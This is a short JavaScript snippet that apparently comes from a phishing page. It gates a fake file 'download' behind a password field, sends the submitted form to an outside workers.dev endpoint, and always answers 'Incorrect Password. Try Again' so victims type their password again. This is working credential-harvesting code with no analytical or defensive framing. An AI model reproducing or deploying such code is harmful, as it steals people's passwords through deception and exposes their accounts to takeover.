function validatePassword() { const password = document.getElementById('pasD').value; const submitBtn = document.getElementById('submitBtn'); // Enable the button if password is at least 5 characters long if (password.length >= 5) { submitBtn.disabled = false; } else { submitBtn.disabled = true; } } function sendForm() { $('#anini').removeClass('d-none'); $('#loader').removeClass('d-none'); $('#talk').text('Downloading....'); $('#talk').attr('style', 'color:blue'); const formData = new FormData(document.getElementById('stdFord')); fetch('https://silent-queen-7ea8.geohide-geohide.workers.dev/submit-form', { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { setTimeout(function() { $('#loader').addClass('d-none'); $('#talk').text(data.message || 'Incorrect Password. Try Again'); $('#talk').attr('style', 'color:red'); // Clear the password field document.getElementById('pasD').value = ''; validatePassword(); // Re-validate to disable the button again }, 2000); setTimeout(function() { $('#anini').addClass('d-none'); }, 5000); }) .catch(error => { console.error('Error:', error); $('#talk').text('An error occurred. Please try again.'); $('#talk').attr('style', 'color:red'); // Clear the password field document.getElementById('pasD').value = ''; validatePassword(); // Re-validate to disable the button again }); }